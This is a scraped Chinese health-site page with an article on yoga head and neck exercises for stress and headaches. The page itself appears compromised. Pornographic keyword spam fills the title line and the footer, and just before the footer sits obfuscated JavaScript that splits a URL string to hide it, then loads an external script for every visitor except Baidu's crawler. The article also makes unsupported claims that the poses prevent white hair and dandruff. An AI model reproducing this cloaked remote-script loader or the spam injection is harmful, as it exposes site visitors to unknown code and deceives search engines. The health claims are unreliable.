久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

瑜伽頭部練習怎么緩解壓力

2017-04-16 21:56:48  來源:360常識網   熱度:
導語:瑜伽頭部練習怎么緩解壓力啊,現在生活節奏加快,讓我們這些年輕人有很大的壓力,時常會感到頭痛,我剛剛參加工作只有一年的時間,讓我回想

瑜伽頭部練習怎么緩解壓力啊,現在生活節奏加快,讓我們這些年輕人有很大的壓力,時常會感到頭痛,我剛剛參加工作只有一年的時間,讓我回想這一年所經歷的有好多的事情,這種頭痛就是在告訴我壓力的存在,但是年輕人的我,從來沒有怕過壓力,有壓力才有動力,每天忙忙叨叨的,反而過的充實,我就想找些緩解壓力和頭痛的方法,朋友說瑜伽頭部練習可以做到,我要怎么做啊。

頭部放松式

特色功效:這個動作強力伸展了頭部后頸,能夠促進頭部后血管的血液循環,可以預防耳鳴、頭昏、頭痛、神經衰弱。

練習方式:每天練習3~5次,完成式停留5~10秒。

注意事項:練習此式時,能將頭盡量向前和向后拉伸,效果會更好,但不需勉強,重點是要能夠體會頭部的壓按感與頸部的伸展感。

1、背部立直,右手五指并攏,扶住后頸部。左手半握拳放在膝蓋上,內臟器官放松,保持自然呼吸8~10秒。

2、雙腿盤坐在地面,雙手五指交叉抱住頭部,脊柱放松,下頦回收,保持自然呼吸。

3、雙手扶在雙肩上,將肩后的斜方肌向前拉,吸氣脊柱立直,呼氣頭向后仰,打開喉嚨,胸部向前推,3~5秒。吸氣頭抬起,呼氣放松,自然呼吸。

鞏固篇頭部擰轉式

特色功效:本式除了具有改善頭痛、神經衰弱的作用,還具有預防白發,刺激新陳代謝,防止頭皮屑的功效。

練習方式:每天練習2~3次,完成式停留5~10秒。

注意事項:可將意識集中于頭頂,注意保持順暢的呼吸。

1雙腿盤坐在地面,背部立直,右手半握拳放在右膝處,左手五指并攏放在頭頂,保持均勻的呼吸。

2將頭部慢慢地向左斜上方慢慢地擰轉。

3反方向做一次。

綜上的內容是我朋友介紹的瑜伽頭部練習緩解壓力的方法,這種頭部練習隨時都是可以做的,只要感到頭痛就可以按照上面的放按按,我相信一定會有效果的,壓力每個人都會有,要學會怎么釋放壓力,可選擇一種最適合自己的方法,這樣我們才有勇氣迎接新的挑戰啊。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 男女羞羞视频免费观看 | 亚洲男人天堂 | 国产精品一区二区久久精品爱微奶 | 亚洲中国精品精华液 | 日韩福利一区二区 | 亚洲国产精品久久久久久 | 18韩国主播福利视频在线观看 | 久久九九国产精品 | 特级毛片在线 | 性人久久精品 | 日韩一区二区视频在线观看 | 日韩欧美在线观看一区 | 九九亚洲 | 欧美一区二区免费 | av播播| 国产精品日韩欧美一区二区 | 草草网站| 91国产精品| 欧美精产国品一二三区 | 亚洲免费婷婷 | 久久99精品久久久久久久青青日本 | 午夜日韩 | 国产综合久久 | 91精品久久久久久久久久 | 欧美精品一区二区三区在线四季 | 久久久久久国产精品 | 国产成人精品免费 | 久久成人国产视频 | 久久久www视频 | 午夜av在线 | aa毛片| 欧美日韩中文在线 | 日韩三级免费观看 | 经典法国性xxxx精品 | av免费观看网站 | 国产精品一区二区在线免费观看 | 人人射人人爱 | 成年人黄色免费视频 | 欧美一级精品片在线看 | 黑人巨大精品欧美一区二区免费 | 日本少妇视频 |